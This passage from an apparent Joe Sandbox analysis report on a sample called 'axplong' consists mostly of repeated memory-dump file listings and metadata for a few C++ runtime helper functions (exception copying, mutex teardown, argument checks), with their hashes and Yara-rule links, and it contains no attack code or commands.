Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: a5838c687ae5a5f1025dca8f02fe86b43e0ea0a88739f5eee95cf984c500e7b7
Instruction ID: f840145ac6f1e9b1f8eb9fb104a4088243594ac634529d59fb51109788ef4c5a
Opcode Fuzzy Hash: a5838c687ae5a5f1025dca8f02fe86b43e0ea0a88739f5eee95cf984c500e7b7
Instruction Fuzzy Hash: 5FF08271D1124D9BCB14DFA8D841A9EBBF6AF55304F1082AEE44467200EA705A94CB99

Function 00692AF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692B23

Strings

P#i, xrefs: 00692B18
This function cannot be called on a default constructed task, xrefs: 00692B03

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$This function cannot be called on a default constructed task
API String ID: 2659868963-1883283239
Opcode ID: c72767fc906f41d8cdc1c42065882058a6727b91769c7598ba6e98166c92165e
Instruction ID: 1bc1bc54b920614f322f473f814c96280c54bfb4a92eefd1c7bf6311ca1e6161
Opcode Fuzzy Hash: c72767fc906f41d8cdc1c42065882058a6727b91769c7598ba6e98166c92165e
Instruction Fuzzy Hash: 3EF0A771D1134C9FC710DF6998419AEFBFADF15300F5042AEE84467300EBB05A54CB99

Function 006BB85C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 006BB87E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006BB891

Strings

pContext, xrefs: 006BB889

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: aa26bc3619af343da48681e8794cf4bc95b1a74fe358aa926414b662506b023e
Instruction ID: b134219c2655650c571063ad8831e8420e3f296972085303a6d5ca4f32fc7cbd
Opcode Fuzzy Hash: aa26bc3619af343da48681e8794cf4bc95b1a74fe358aa926414b662506b023e
Instruction Fuzzy Hash: FCE06839B0030867CB04F7A9DC49CADB7BF9EC9720701401DE511A7381DBB0EE0086D4

Function 00692E40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00692E50
__Cnd_destroy_in_situ.LIBCPMT ref: 00692E59

Strings

@.i, xrefs: 00692E49

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.i
API String ID: 1432671424-2964489218
Opcode ID: 17e0f6e6ff60a9ea9275829b36da52bb53bf73f0310c2c8cd3004432044eadc8
Instruction ID: 5c291627bdf04d9e4338ddad54ae6d51d2379b8b7c0ce7cac9fde99e32c01773
Opcode Fuzzy Hash: 17e0f6e6ff60a9ea9275829b36da52bb53bf73f0310c2c8cd3004432044eadc8
Instruction Fuzzy Hash: 63E026B2C4231866C310BFA48C01E97BFCE9F17311F40043EF98196702EBB1A9544BE4

Function 006B33FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006B342C

Strings

version, xrefs: 006B3411
pScheduler, xrefs: 006B3424

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 8ca903fec91270b0b0a007f29fef7f8bc0496d3c1008f26d12efb6dfe7387282
Instruction ID: 7a74117b8bf22137b915aa48a7fb369b77f4c70e4b4c33d4f9cb171be8af8273
Opcode Fuzzy Hash: 8ca903fec91270b0b0a007f29fef7f8bc0496d3c1008f26d12efb6dfe7387282
Instruction Fuzzy Hash: A8E02670540748B6CB11FA55C806ADD77AADB14308F00C029B4102129287B19BD8DB91

Function 006924A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006924BE

Strings

P#i, xrefs: 006924AD
P#i, xrefs: 006924C6

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
